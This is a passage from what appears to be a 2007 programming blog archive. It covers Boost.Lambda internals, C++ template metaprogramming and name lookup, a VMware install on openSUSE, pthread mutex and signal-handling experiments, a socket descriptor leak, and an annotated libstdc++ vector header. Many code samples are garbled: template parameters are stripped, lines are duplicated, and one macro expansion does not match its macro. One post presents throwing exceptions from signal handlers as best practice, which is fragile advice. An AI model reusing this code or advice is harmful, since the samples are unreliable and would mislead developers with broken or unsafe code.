#define BOOST_LAMBDA_BE2(OPER_NAME, ACTION, CONSTA, CONSTB, CONVERSION)      \
template                                                 \
inline const                                                                 \
lambda_functor<                                                              \
  lambda_functor_base<                                                       \
    ACTION,                                                                  \
    tuple< typename CONVERSION ::type, lambda_functor >        \
  >                                                                          \
>                                                                            \
OPER_NAME (CONSTA& a, const lambda_functor& b) {                      \
  return                                                                     \
    lambda_functor_base<                                                     \
      ACTION,                                                                \
      tuple< typename CONVERSION ::type, lambda_functor >      \
    >                                                                        \
  (tuple< typename CONVERSION ::type, lambda_functor >(a, b)); \
}
BOOST_LAMBDA_BE2(BOOST_LAMBDA_COMMA_OPERATOR_NAME, other_action, const A, const B, const_copy_argument)

Or in the macro expanded form:

template inline const lambda_functor< lambda_functor_base< bitwise_action, tuple< typename const_copy_argument ::type, lambda_functor > > > operator<< (const A& a, const lambda_functor& b) { return lambda_functor_base< bitwise_action, tuple< typename const_copy_argument ::type, lambda_functor > > (tuple< typename const_copy_argument ::type, lambda_functor >(a, b)); }

Instantiation of lambda_functor requires instantiation of the following classes: lambda_functor_base, boost::tuples::tuple, boost::tuples::cons. lambda_functor_base is defined in
/usr/include/boost/lambda/detail/operator_lambda_func_base.hpp as yet another macro:
BOOST_LAMBDA_BINARY_ACTION(<<,bitwise_action)

The relevant definitions of bitwise_action and leftshift_action can be found in /usr/include/boost/lambda/detail/operator_actions.hpp


#define BOOST_LAMBDA_BINARY_ACTION(SYMBOL, ACTION_CLASS)  \
template                                                      \
class lambda_functor_base {                           \
public:                                                                   \
  Args args;                                                              \
public:                                                                   \
  explicit lambda_functor_base(const Args& a) : args(a) {}                \
                                                                          \
  template                                 \
  RET call(CALL_FORMAL_ARGS) const {                                      \
    return detail::select(boost::tuples::get<0>(args), CALL_ACTUAL_ARGS)  \
           SYMBOL                                                         \
           detail::select(boost::tuples::get<1>(args), CALL_ACTUAL_ARGS); \
  }                                                                       \
  template struct sig {                                    \
    typedef typename                                                      \
      detail::binary_rt::type type;          \
  };                                                                      \
}; 

Or in macro expanded form:
template
class lambda_functor_base< explicit_return_type_action, Args>
{
public:
  Args args;

  explicit lambda_functor_base(const Args& a) : args(a) {}

  template  struct sig { typedef RET type; };

  template
  RET call(A& a, B& b, C& c, Env& env) const
  {
    return detail::constify_rvals::go(
     detail::r_select::go(boost::tuples::get<0>(args), a, b, c, env));
  }
};

Inside std::for_each, __Function is expanded into a lambda_functor_base data structure. When invoked as a functor, it resolves to:


   template
   typename inherited::template sig< tuple >::type
   operator()(A& a) const { 
     return inherited::template call<
       typename inherited::template sig< tuple >::type
     >(a, cnull_type(), cnull_type(), cnull_type());
   }

At this point, A& a contains the value of array element in x.

The complete type of lambda_functor is defined as:


boost::lambda::lambda_functor< boost::lambda::lambda_functor_base< boost::lambda::bitwise_action< boost::lambda::leftshift_action>,boost::tuples::tuple< boost::lambda::lambda_functor< boost::lambda::lambda_functor_base< boost::lambda::bitwise_action< boost::lambda::leftshift_action>,boost::tuples::tuple< std::ostream&,boost::lambda::lambda_functor< boost::lambda::placeholder<1> >,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type> > >,const char,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type,boost::tuples::null_type> > >::operator ()

Conclusion

Through source code analysis and debugging, we glimpsed through part of the internals of boost lambda libary. This library uses macro and template metaprogramming extensively. It's tightly coupled to boost tuple library. It uses type traits technique and other generative programming techniques freely.

We use overloaded '<<' to demonstrate the inner working of lambda. This analysis does not show a complete a picture of lambda library, e.g without lambda::bind. But it provides sufficient insight into the library and how to analyze similar C++ library if needed.

Generic programming: fundamental concepts in C++ template metaprogramming

2007-10-11T12:47:00.000-05:00

Procedural programming has a few general and important constructs: conditional, loop, recursion.

In Functional programming, loop is not allowed because variable is not mutable. To loop, is to alter counter variables. In Functional programming, recursion is used to accumulate or iterate, in recursion the rule 'immutable variable' is not violated.

A programming construct is a fundamental concept of programming, it's a logical unit. A program is a hierarchical structure of programming constructs. There are 4 basic constructs: sequential, conditional, loop, function (lambda). What a program does is side effect of a program executing these constructs.

1. Sequential construct:
do A
do B
do C

2. What's a conditional construct?

if (condition) then
do A
else
do B
end if

This construct is allowed in both procedural and functional programming.

3. What's a loop? there are 2 kinds of loops based on its result (not side effect), infinite loop, finite loop. Often a loop can be decomposed into sequential and conditional constructs. For example a infinite loop

condition = true
while(condition) then
do A
do B
end while

a finite loop
condition = true
while(condition) then
do A
if(result=do B) condition = false // note that the value of condition is altered
end while

In functional programming, variable value is immutable once defined, to rewrite the above example with recursion, we need the help of a function construct.

4. define a function or a lambda

return_type function(argument_type)
function body
end function

bool do_b()
bool result = do B
return result
end do_b

void do_a_b()
do A
bool result = do_b
if(!result)
do_a_b
end do_a_b

As you can see, no variable value is ever changed after the point of definition (declaration and initialization), a key characteristic of functional programming.

C++ template provides powerful means to do functional programming, interestingly by design it has the same 'immutable variable' requirement. Let's see how we again transform the above example into C++ templates

bool do_B(){
}

template
class do_a_b{

do_a_b(){
do_A;
bool result = do_B;
do_a_b();
}

};

template
class do_a_b{
};

In summary, conditional is implemented with partial specialization, and loop is implemented with recursion. Why bother doing this? Functional programming as a form of generic programming, provides a higher level of concept correctness through programming logic.

References:
http://en.wikipedia.org/wiki/Tail_recursion

C++ template programming name lookup

2007-10-02T10:17:00.000-05:00

Inside of a template, the compiler performs two-phase name lookup for any name encountered:

The first occurs when the compiler initially parses the template
definition. In this phase, the compiler tries to determine which names
do not depend on the template arguments, and it tries to resolve those
names. (Non-dependent name) One thing to note is that during the first phase, inherited names from depdent class (base class is a template) don't get resolved as dependent names since the compiler cannot know yet if the base has the name declared.

The second phase occurs when you actually try to use the template. As
now all the template parameters are also known, the compiler can
resolve the rest of the names. (Dependent name)

Consider the following example



template  struct S;
template <> struct S<0> {
     S<0>(void): y(0) {}
     int y;
};

template  struct S: public S {
     S(void) {y++;}

};

S<0>::y is a non-dependent name, so is S::y. The compiler will not be able to resolve S::y in the first phase of the two phase name lookup. Too fix this problem, one must convert S::y to a dependent name. There are two methods,

The compiler is right and the reason is that by deriving
S from S the base class is a type-dependent and
the compiler is not allowed to assume anything about it's
members (Or to say: Name look-up does not occur in the
dependent base classes), since there is no guarantee that
they will exist (you can change the definition of an
arbitrary S by explicit or partial specialization over
a set of z).
To ensure that the compiler does not *immediatly* try to
resolve the entity named "y" inside the scope of S, you
make itself a type-dependent expression, e.g. by replacing
the unqualified y by

this->y

or by

S::y (or S or S)

1) S() { this->y++; }, this forces the compiler to instantiate the base dependent names and so on and so forth

2) S::y simply turns y into a dependent name and will only be resolved after all templates are instantiated.

Installing vmware on opensuse 10.2 (and similar Linux distro)

2007-09-30T21:21:00.000-05:00

1. Download vmware (preferrably the RPM version) and install it.
2. /usr/bin/vmware-config.pl

This script will prompt you for the version correct kernel headers. Chances are you don't have a match between your kernel image, kernel header and kernel source. In my case, I have:
pc-feiliu:/usr/src/linux-2.6.18.8-0.5 # rpm -qa|grep kernel
kernel-default-2.6.18.2-34
linux-kernel-headers-2.6.18.2-3
kernel-source-2.6.18.8-0.5

Don't panic yet. Make sure you have a relatively close kernel source available. Then follow the advice in this URL: http://www.linuxquestions.org/questions/showthread.php?t=553299

In my case, this is the transcript:
pc-feiliu:/usr/src/linux-2.6.18.8-0.5 # cp /boot/config-2.6.18.2-34-default ./.config
pc-feiliu:/usr/src/linux-2.6.18.8-0.5 # make modules_prepare

3. Rerun /usr/bin/vmware-config.pl
When prompted the kernel headers, give these:
The path "/usr/src/linux/include" is a kernel header file directory, but it is
not configured yet.

What is the location of the directory of C header files that match your running
kernel? [/usr/src/linux/include] /usr/src/linux-2.6.18.8-0.5/include

After answer a few more questions, you should be ready to go with a successful vmware install.

C++ error code, return value, assert, and exception

2007-09-11T19:02:00.000-05:00

1. return value + error code traditional C++ technique to indicate error to client
2. logical error in coding, use assert to detect logical error during run time
3. logical error in design, use static_assert to detect compile time error due to design issues
4. exception, an extremely useful to tool to handle run time error gracefully.

C++ const correctness, boost shared_ptr and reference counting

2007-09-11T19:00:00.000-05:00

1. what's C++ const correctness
2. how does shared_ptr work
3. how does shared_ptr gets around const correctness
4. pointer and get too smart with the compiler

Another subtle difference between linux threads and posix threads, will the fun ever end?

2007-08-28T15:10:00.000-05:00

During investigation of a black hole bug in a multi thread application, a fix is proposed to release a mutex locked by another thread. I thought this was a dubious idea as I remembered posix thread has the notion of mutex ownership. I checked 'Programming Posix Threads' and there it is. The author explicitly states (in the section discussing pthread_mutex_unlock), a mutex is owned by the thread that locked it and cannot be unlocked by another thread. But you should never trust what a book says on multi-threading issues. I decided to test this behavior and what you know, Linux threads does not honor pthread mutex ownership. Any thread can unlock any mutex locked by another thread. Here is the example code:



#include < stdlib.h>
#include < unistd.h>
#include < stdio.h>
#include < pthread.h>

pthread_mutex_t m = PTHREAD_MUTEX_INITIALIZER;

void *
locker (void *blah)
{
    int ret = pthread_mutex_lock(&m);
    printf("lock mutex in locker: %d\n", ret);
    sleep(10);
    return 0;
}
void *
unlocker (void *blah)
{
    sleep(3);
    int ret = pthread_mutex_unlock(&m);
    printf("unlock mutex not owned by locker: %d\n", ret);
    ret = pthread_mutex_lock(&m);
    printf("lock mutex in unlocker: %d\n", ret);
    sleep(10);
    return 0;
}

int main()
{
    int result;
    pthread_t tid[10000];
    int count=0, oldc = 0;
    pthread_attr_t new_child_attr;

    result = pthread_attr_init (&new_child_attr);
    result = pthread_attr_setdetachstate (&new_child_attr,
                                             PTHREAD_CREATE_DETACHED);
//    result = pthread_create (&tid[count], &new_child_attr, (void *(*)(void *)) locker, 0);
//    result = pthread_create (&tid[count+1], &new_child_attr, (void *(*)(void *)) unlocker, 0);
    result = pthread_create (&tid[count], 0, (void *(*)(void *)) locker, 0);
    result = pthread_create (&tid[count+1], 0, (void *(*)(void *)) unlocker, 0);
    pthread_join(tid[0], 0);
    result = pthread_join(tid[1], 0);
    printf("threads returned: %d\n", result);
    sleep(30);
}

Spin lock, OS scheduler, and SMP

2007-08-24T09:11:00.000-05:00

Is it possible to optimize a spinlock without using a schedular (or some refer to as OS APIs). The answer is not efficiently.

On OS with pre-emptive kernels such as most Windows and Linux kernels, high priority process/thread can preempt low priority task that is spending most of its time busy looping in a spinlock. By moving such a low priority task to sleep state, the kernel is effectively optimizing cpu use. You will notice your UP system is a little slower but it's still quite usable. The reason for the slowdown is that the spinlock thread is simply not very cooperative and does not yield cpu time.

Another factor to consider is SMP. On multi processor machine, such a busy loop process is usually bound to a particular cpu and user can hardly notice any kind of system slowdown for interactive work. This is a very easy experiment to try out.

Is there room for a little bit optimization on SMP system? Check out 'lock xchg'. The memory subsystem will kick in and block such a thread from execution until the bus is locked to synchronize this memory value between multiple CPUs.

It's hard to write safe and sound C++ code

2007-08-22T10:44:00.000-05:00

Recently I found an issue with my C++ network socket library. It's leaking file descriptors. After an application linked to this
library runs for a while, it starts to fail to create new file descriptor. lsof indicates that there are 1000+ sockets opened in
the state of 'can't identify protocol'. Using valgrind file descriptor leak check shows that there are open file descriptors in
the state of <-> . This kind of socket is typically a result of non-connected socket. i.e. A socket is created
on the client side but it's not connected to any server or failed to connect to any server.

Now this would seem to be a strange thing at first given that a C++ class destructor will always release the resource acquired
through its constructor. But as I investigated deeper into the issue, the revelation came to me 'It's hard to write safe and
sound C++'.

Let's first check the code that's not working:
socket.hpp:



#ifndef MY_SOCKET_HPP
#define MY_SOCKET_HPP

#include "utils/network/exceptions.hpp"
#ifndef THROW_SE
#define THROW_SE(cond, msg) do {\
if(cond) throw socket_connect_exception(msg); \
} while(0)
#endif

class basic_socket {
private:
    int sockfd;
public:
    basic_socket(int sockfd) : sockfd(sockfd) {}
    ~basic_socket(){
        if(sockfd > 0) ::close(sockfd);
        sockfd = -1;
    }
};

template 
class client_socket {
private:
    socket_type m_sock;
    int connect(string, int) throw(socket_connect_exception);
public:
    client_socket(string ip, int port) : m_sock(connect(ip, port)) {}
};

template 
int client_socket::connect(
    const std::string & hostname, unsigned int port){
    int sockfd = -1;
    struct sockaddr_in serv_addr;

    sockfd = ::socket(AF_INET, SOCK_STREAM, 0);
    THROW_SE(sockfd < 0, "client_socket open socket");

    int ilen = sizeof(int);
    int itrue = 1;
    int r = ::setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &itrue, ilen);
    THROW_SE(r == -1, "basic_socket::basic_socket Failed to set socket for reuse");

    struct hostent server;
    struct hostent *hp;
    char hsbuf[4096];
    int herr;
    ::bzero(&server, sizeof(server));
    THROW_SE((::gethostbyname_r(hostname.c_str(), &server, hsbuf, 4095, &hp, &herr) != 0),
        "ERROR client_socket::connect::gethostbyname_r no such host");

    bzero((char *) &serv_addr, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    bcopy((char *)server.h_addr,
         (char *)&serv_addr.sin_addr.s_addr,
         server.h_length);
    serv_addr.sin_port = htons(port);
    int ret = 0;
    ret = ::connect(sockfd, (const sockaddr *)&serv_addr, sizeof(serv_addr));
    THROW_SE(ret < 0, "ERROR client_socket::connect::connecting");
    return sockfd;
}

#endif

As you can see, once you leave the ideal and conceptual language realm and delve into the real world, in
this case, Unix networking, things start to get more complex to manage. First as a library writer, you
generally shouldn't just terminate the program if your client fails to establish a connection to another host.
Instead you should report the error the client and let the client user decide based on the information the
library provided. Since a connection failure is not a logical error (as opposed to use assert), ideally it should
not cause a program shutdown.

In the spirit of that, there are 2 ways to propogate the error condition back to the client, exception or
error code. I've opted to use exception since the very approach can also handle signal as detailed in my previous
blog entry.

Now at this point, the bug is hidden in the code. Why isn't basic_socket cleaning up the socket if there is a failure
in client_socket establishing a connection? Think about it before you scroll down for the answer.

As it turns out, it's possible that a basic_socket is never constructed if there was failure in any of those system
calls to operate the socket. For example, ::socket succeeds, but connect fails and generates an exception. And once
the exception leaves the connect subroutine, the C++ runtime will look for its handler. But neither client_socket
or basic_socket should handle it because they can't make decisions on an connection failure thus there is no exception
handling code for them. As socket_connect_exception leaves basic_socket constructor, m_sock is never constructed. And
when the default client_socket constructor starts to destroy its members, the default m_sock object has no socket to
destroy. Thus leading to a file descriptor leak.

To fix this, I wrapped the statements in client_socket::connect in a try and rethrow block, but just before rethrow,
I test and close the socket. Viola, this fixed the file descriptor leak issue. During investigation of this issue,
I found that the following sutle points dealing with network sockets in a multi-thread application in C++.

1) double close can cause sutle and difficult to track bug. The way unix handles file descriptor creation is that once
a file descriptor is closed, the same file desciptor number will be immediately reused. e.g. int fd = 10; close(fd); fd = open(...);
at this point fd will equal to 10 normally. This has implication in multi-thread application, because a double close may end
up closing a working file descriptor on the 2nd close. Thread #2 may open the file descriptor number closed on the first
close by thread #1. As you can well imagine, this leads to inconsistent, non-producible bug behavior.

2) pay close attention to copy constructors, copy assignment operators the compilers may create for your system resource
management class. The solution, never allow direct copy semantic on this kind of class. Inherit from boost::noncopyable. If
you absolutely need copy semantic, wrap your class creation through boost::shared_ptr and copy the pointer around, this way
the resource is reference count managed and released automatically. This also provides a solution to the double close fiasco.
Since the resource is never double released.

Linux Threads, Process, Signals, C++ Exceptions

2007-08-15T09:32:00.000-05:00

Unix signals and C++ exceptions interaction is an thorny issue for unix/linux system programmers who develop C++ system applications. There is no way to get around unix/linux system signals (thereafter referred to as signals). Traditionally there are 2 categories of signals, syncrhonous and asynchronmous signals. e.g. SIGBUS is a synchronous signal, while SIGPIPE is an asynchronous signal. (Introduction to Unix Signals Programming)

However, the classification of signal is highly operating system dependent. A signal could be synchronous or asynchronous on different operating system kernel. Usually a synchronous signal is delivered to the process/thread that generates the signal itself, an asynchronous signal is delivered to an arbitrary process/thread that belongs to a process or thread group. (Linux Journal, Martin McCarty)

A lot of workhas been done on i386 architecture with GNU compilers on Linux kernel. Through unit test, this is the best practice I found when mixing unix signals and C++ exception: throw an exception from the signal handler and take care of the exception from exception handler. There are 2 reasons that this approach actually works.
1) Linux threads are actually process 'cloned' from a paernt process. Each linux thread has its own unique process id. This made testing very easy because one can use 'kill' comand to send arbitrary signal to a specific linux thread in a thread group without concerning about the complex process/thread signal delivery mechanism on some Unix operating system.
2) GNU compilers enable stack unwind through -fnon-call-exception (synchronous) and -fasynchronous-unwind-tables to support C++ exception.

A few notes to implement correct behavior:
1) signal handler should be as simple as possible, ideally just a throw
2) exception handling through be as simple as possible, or we might end up with a double throw situation. Make sure your exception handling code cannot generate any synchronous signal, i.e. the exception handling code has to be absolutely correct in a sense. If the exception handling code is fairly complicated, mask(block) as many as signals as you can, because if you enter another signal is triggered->signal handler->throw->catch block process again, the stack is completely messed up, a program abort is in order.

The following test code demonstrates various points of this article. I've also used a trick to by pass linux threads library to get process id directly through syscall.

g++ -fstrict-aliasing -fomit-frame-pointer -fnon-call-exceptions -fasynchronous-unwind-tables -Wall -pedantic -ansi -g -O2 -o boost_thread_signal boost_thread_signal.cpp -lpthread -lboost_thread


#include < boost/thread/thread.hpp>
#include < boost/thread/barrier.hpp>

extern "C"{
#include < execinfo.h>
#include < signal.h>
#include < pthread.h>
#include < sys/syscall.h>
#include < unistd.h>
}

#include < string>
#include < iostream>
#include < exception>

using namespace std;
using namespace boost;

#define GEN_EXCEPTION_CLASS(name, default_msg) \
class name : std::exception {\
public: \
    name(const std::string & m=default_msg) : msg(m) {} \
    ~name() throw() {} \
    const char* what() const throw() { return msg.c_str(); } \
private: \
    std::string msg; \
};

typedef void (*sighandler_t)(int);

mutex mutex_;
barrier barrier_(10); // N = N_THREAD + 1 to synchronize execution
GEN_EXCEPTION_CLASS(signal_exception, "signal_exception: Signal caught in signal handler")

void * sig_handler(int signum){
//    int pid = (long int)syscall(224);
//    cout << "UNIX signal " << signum << " caught in " << pid << endl;
//
//        void * array[25];
//        int nSize = backtrace(array, 25);
//        char ** symbols = backtrace_symbols(array, nSize);
//
//        for (int i = 0; i < nSize; i++)
//        {
//            cout << symbols[i] << endl;
//        }
//
//        free(symbols);
//
    throw signal_exception();
    return 0;
}

class bthread{

private:
    int tid, pid;
public:
    bthread(int i) : tid(i){
        pid = (long int)syscall(224);
       //sighandler_t signal(int signum, sighandler_t handler);
        ::signal(SIGPIPE, (sighandler_t)sig_handler);
        ::signal(SIGALRM, (sighandler_t)sig_handler);
       //(void) signal (SIGSEGV, threadsigsegvhandler);
       //(void) signal (SIGTERM, threadsigtermhandler);
       //sigset_t sigs_to_block;
       //sigemptyset(&sigs_to_block);
       //sigaddset(&sigs_to_block, SIGPIPE);
       //sigaddset(&sigs_to_block, SIGINT);
       //pthread_sigmask(SIG_BLOCK, &sigs_to_block, NULL);
    }
    void operator()()
    {
        try{
            mutex::scoped_lock l(mutex_);
            printf("The PID of this LINUX thread is: %ld\n", (long int)syscall(224));
            cout << "thread id: " << ::getppid() << " " << (::getpid() + tid) << endl;
            sleep(60);
        }catch(signal_exception & e){
            cout << e.what() << endl;
        }catch(...){
            cout << "something happened..." << endl;
        }
    }
};

int main(){
    try{
       boost::thread_group threads;
       for (int i = 0; i < 10; ++i)
          threads.create_thread(bthread(i));
       threads.join_all();
    }catch(signal_exception & e){
        cout << e.what() << endl;
    }catch(...){
        cout << "something happened..." << endl;
    }
}

Comparison of C++ postgresql database interface library

2007-07-20T16:31:00.000-05:00

libpq++, best performance in terms of raw speed, but the interface is more C-ish than C++-ish

libpqxx, very modern C++ interface, but as of version 2.6.9, it has serious threading issue

soci, somewhat strange interface design, supports multiple database serrvers, good performance.

C++ static template class member variable

2007-07-05T14:30:00.001-05:00

C++ can be wierd. A non-template class member variable when declared static needs to be instantiated in a link unit e.g.

struct A{
static int a;
};

int A::a;

For a template class, it can get wierd:
template < typename T>
struct A{
static int a;
};

template < typname T>
int A< T>::a;

C++ how is STL set/map iterator implemented?

2007-06-28T13:56:00.000-05:00

Users of STL containers enjoy the immense power of iterators provided
by different types of containers. The sequence container iterators
are easy to understand and implement conceptually. What about the
associate containers, such as set and map?

STL set and map are normally implemented through red black tree, a type
of self balancing binary search tree. Thus iterators of a set or a map
is internally represented by a pointer to a red black tree node in practice.

Let's look at some code involving the related entities:

template<_Tp>
set<_Tp> s;
node<_Tp> n;
rb_tree > rbt;

typedef node<_Tp> * set<_Tp>::iterator;
typedef node<_Tp> * rb_tree >::iterator;

Let's leave a few template parameters out of the discussion for now to illustrate
the concept. For curious readers, those parameters defines behavior of node allocation
and comparison...

Let's recall the different ways a tree can be iterated or traversed: depth first
traversal (DFS) and breath first traversal (BFS). In DFS, there are 3 orders of traversal:
pre-order (S L R), in-order (L S R), and post-order (L R S). A BST in-order DFS yields
a sorted list of nodes. (L: left, S: self, R: right)

We would stop here now if we are interested in read only set or map traversal.
However node erasure is an equally important operation. And node based containers (
such as list, set, and map) gurantees that erase(iterator) invalides the iterator
being erased only. This is a curious feature. It's easy to understand why this is so
for list. But for red black tree based set and map, how does STL gurantees this
behavior?

An important observation of the set and map containers is that iteration of these
containers always yields sorted result. This takes us back to the BST in-order
DFS problem. There is an invariance in set/map iteration: order of nodes is predefined.

Consider the following sample code:



#include < set>
#include < iostream>

using namespace std;

void display(const set & s){
    cout << "node value: ";
    set::const_iterator it = s.begin();
    for(;it != s.end(); it++) cout << " " << *it;
    cout << endl;
}

int main(){

    set s;
    s.insert(4);
    s.insert(1);
    s.insert(10);
    s.insert(2);
    s.insert(3);
    s.insert(5);

    display(s);

    s.erase(3);
    display(s);

    s.insert(3);
    display(s);

    cout << "node value: ";
    set::const_iterator it = s.begin();
    while(it != s.end()){
        if(*it == 3) s.erase(it++);
        else ++it;
        if(it != s.end()) cout << " " << *it;
    }
    cout << endl;
    display(s);
}

The output is:
./test_set_iter
node value: 1 2 3 4 5 10
node value: 1 2 4 5 10
node value: 1 2 3 4 5 10
node value: 2 3 4 5 10
node value: 1 2 4 5 10

As we can see, no matter how the iterations are done, there is a predefined
ascending order of nodes. This means that as long as the underlying red black
tree can do in-order DFS, iteration behavior is guranteed. And as a self-balancing
BST, in-order DFS is guranteed for red black tree.

Note that the 4th row prints 2 3 4 5 10, why is it doing so when we are erasing element 3? This confused me at the begining but the behavior is absolutely correct. Can you explain it?

libxml high performance xml parser

2007-06-26T16:37:00.000-05:00

I found this website extremely helpful in order to start libxml programming in C. http://xmlsoft.org/tutorial/index.html

C++: The standard template library: vector

2007-06-26T13:41:00.000-05:00

It's advised that an aspiring programer should read and study the C++ STL source code. Although I had fair amount of experience with STL, I decided to take time to study its source code (distributed in gnu c++ compiler 4.1.1).

Let's start with the most used container std::vector. First of all, the journey starts with the top level header file found at /usr/include/c++/4.1.1/vector



#ifndef _GLIBCXX_VECTOR
#define _GLIBCXX_VECTOR 1

#pragma GCC system_header

#include            // function exception helper, -fno-exception support
#include           // internal algorithm suport, swap, copy, fill etc...
#include              // contains std::allocator<_Tp> 
#include          // internal functions for construction and destruction of objects
#include      // internal, dealing with initialization of objects
#include             // contains STL vector implementation
#include            // vector and bit vector specialization

#ifndef _GLIBCXX_EXPORT_TEMPLATE
# include 
#endif

#ifdef _GLIBCXX_DEBUG
# include                 // a debug build of stl, extremely useful for debugging
#endif

#endif /* _GLIBCXX_VECTOR */

Ok, what have we learnt? 1) there is a debug build of stl::vector, similarly for other stl containers. This is an extremely useful and most overlooked feature of STL. It has proven very useful to help debug STL related issues. 2) vector and bitvector are specializations of std::vector. But there are some minor details of thse containers that one should be aware of when using them. We'l come back to these 2 containers later. 3) object creation and destruction play important roles in implementation of vector, several header files contain internal implementation of functions dealing with object construction, initialization, and destruction.

Now let's dive into the vector implementation:




#ifndef _VECTOR_H
#define _VECTOR_H 1

#include    // deal with iterators
#include 
#include 

namespace _GLIBCXX_STD           // This the std namespace in gnu c++ implementation
{
  /**
   *  @if maint
   *  See bits/stl_deque.h's _Deque_base for an explanation.
   *  @endif
  */
  template
    struct _Vector_base          // Interesting, there is a base class for std::vector
    {
      typedef typename _Alloc::template rebind<_Tp>::other _Tp_alloc_type;
// _Tp_alloc_type = std::allocator<_Tp>
// For customizing purpose, vector needs to inform the allocator class that it
// deals with _Tp data type. It asks the allocator to intialize with _Tp. 
// It may not be apparent why this is required here, but it'll be clear when we
// deal with std::list, where 
// _Tp_alloc_type = std::allocator >
// i.e. std::list's allocator is actually allocator >
      struct _Vector_impl
      : public _Tp_alloc_type
      {
    _Tp*           _M_start;
    _Tp*           _M_finish;
    _Tp*           _M_end_of_storage;
    _Vector_impl(_Tp_alloc_type const& __a)
    : _Tp_alloc_type(__a), _M_start(0), _M_finish(0), _M_end_of_storage(0)
    { }
      };     _Vector_impl is an internal struct. It inherits from allocator<_Tp>
//Vector base is implemented through _Vector_impl which derives from _Tp_alloc_type
//In this struct, 3 orthoganal data members describe a vector, the start, the finish,
//and the end of the storage. There are 2 paralel concepts here, logical and physical.
//The start variable is the start of vector in both logical and physical sense, this is a
//pointer that points to the start of the vector. The finish variable denotes a logical
//end of a vector. A user is not allowed to access a vector beyond this point. 
//The end of storage variable points to the end of the physical entity, beyond which
//it's un-initialized emptiness.
//With the help of these 3 variables, many bound operations can be performed on a
//vector container.
    public:
      typedef _Alloc allocator_type;

      _Tp_alloc_type&
      _M_get_Tp_allocator()
      { return *static_cast<_Tp_alloc_type*>(&this->_M_impl); }

      const _Tp_alloc_type&
      _M_get_Tp_allocator() const
      { return *static_cast(&this->_M_impl); }

      allocator_type
      get_allocator() const
      { return _M_get_Tp_allocator(); }

      _Vector_base(const allocator_type& __a)
      : _M_impl(__a)
      { }

      _Vector_base(size_t __n, const allocator_type& __a)
      : _M_impl(__a)
      {
    this->_M_impl._M_start = this->_M_allocate(__n);
    this->_M_impl._M_finish = this->_M_impl._M_start;
    this->_M_impl._M_end_of_storage = this->_M_impl._M_start + __n;
      }

      ~_Vector_base()
      { _M_deallocate(this->_M_impl._M_start, this->_M_impl._M_end_of_storage
              - this->_M_impl._M_start); }

    public:
      _Vector_impl _M_impl;

      _Tp*
      _M_allocate(size_t __n)
      { return _M_impl.allocate(__n); }

      void
      _M_deallocate(_Tp* __p, size_t __n)
      {
    if (__p)
      _M_impl.deallocate(__p, __n);
      }
    };
//----------------------------------------------------------------------------------------

// START OF VECTOR IMPLEMENTATION

//----------------------------------------------------------------------------------------

  /**
   *  @brief A standard container which offers fixed time access to
   *  individual elements in any order.
   *
   *  @ingroup Containers
   *  @ingroup Sequences
   *
   *  Meets the requirements of a container, a
   *  reversible container, and a
   *  sequence, including the
   *  optional sequence requirements with the
   *  %exception of @c push_front and @c pop_front.
   *
   *  In some terminology a %vector can be described as a dynamic
   *  C-style array, it offers fast and efficient access to individual
   *  elements in any order and saves the user from worrying about
   *  memory and size allocation.  Subscripting ( @c [] ) access is
   *  also provided as with C-style arrays.
  */
  template >
    class vector : protected _Vector_base<_Tp, _Alloc>
    {
      // Concept requirements.
      typedef typename _Alloc::value_type                _Alloc_value_type;
      __glibcxx_class_requires(_Tp, _SGIAssignableConcept)
      __glibcxx_class_requires2(_Tp, _Alloc_value_type, _SameTypeConcept)

      typedef _Vector_base<_Tp, _Alloc>          _Base;
      typedef vector<_Tp, _Alloc>            vector_type;
      typedef typename _Base::_Tp_alloc_type         _Tp_alloc_type;

    public:
      typedef _Tp                    value_type;
      typedef typename _Tp_alloc_type::pointer           pointer;
      typedef typename _Tp_alloc_type::const_pointer     const_pointer;
      typedef typename _Tp_alloc_type::reference         reference;
      typedef typename _Tp_alloc_type::const_reference   const_reference;
      typedef __gnu_cxx::__normal_iterator iterator;
      typedef __gnu_cxx::__normal_iterator
      const_iterator;
      typedef std::reverse_iterator  const_reverse_iterator;
      typedef std::reverse_iterator        reverse_iterator;
      typedef size_t                     size_type;
      typedef ptrdiff_t                  difference_type;
      typedef _Alloc                                 allocator_type;

    protected:
      /** @if maint
       *  These two functions and three data members are all from the
       *  base class.  They should be pretty self-explanatory, as
       *  %vector uses a simple contiguous allocation scheme.  @endif
       */
       */
      using _Base::_M_allocate;
      using _Base::_M_deallocate;
      using _Base::_M_impl;
      using _Base::_M_get_Tp_allocator;

    public:
      // [23.2.4.1] construct/copy/destroy
      // (assign() and get_allocator() are also listed in this section)
      /**
       *  @brief  Default constructor creates no elements.
       */
      explicit
      vector(const allocator_type& __a = allocator_type())
      : _Base(__a)
      { }

      /**
       *  @brief  Create a %vector with copies of an exemplar element.
       *  @param  n  The number of elements to initially create.
       *  @param  value  An element to copy.
       *
       *  This constructor fills the %vector with @a n copies of @a value.
       */
      explicit
      vector(size_type __n, const value_type& __value = value_type(),
         const allocator_type& __a = allocator_type())
      : _Base(__n, __a)
      {
    std::__uninitialized_fill_n_a(this->_M_impl._M_start, __n, __value,
                      _M_get_Tp_allocator());
    this->_M_impl._M_finish = this->_M_impl._M_start + __n;
      }
      }

      /**
       *  @brief  %Vector copy constructor.
       *  @param  x  A %vector of identical element and allocator types.
       *
       *  The newly-created %vector uses a copy of the allocation
       *  object used by @a x.  All the elements of @a x are copied,
       *  but any extra memory in
       *  @a x (for fast expansion) will not be copied.
       */
      vector(const vector& __x)
      : _Base(__x.size(), __x.get_allocator())
      { this->_M_impl._M_finish =
      std::__uninitialized_copy_a(__x.begin(), __x.end(),
                      this->_M_impl._M_start,
                      _M_get_Tp_allocator());
      }

      /**
       *  @brief  Builds a %vector from a range.
       *  @param  first  An input iterator.
       *  @param  last  An input iterator.
       *
       *  Create a %vector consisting of copies of the elements from
       *  [first,last).
       *
       *  If the iterators are forward, bidirectional, or
       *  random-access, then this will call the elements' copy
       *  constructor N times (where N is distance(first,last)) and do
       *  no memory reallocation.  But if only input iterators are
       *  used, then this will do at most 2N calls to the copy
       *  constructor, and logN memory reallocations.
       *  constructor, and logN memory reallocations.
       */
      template
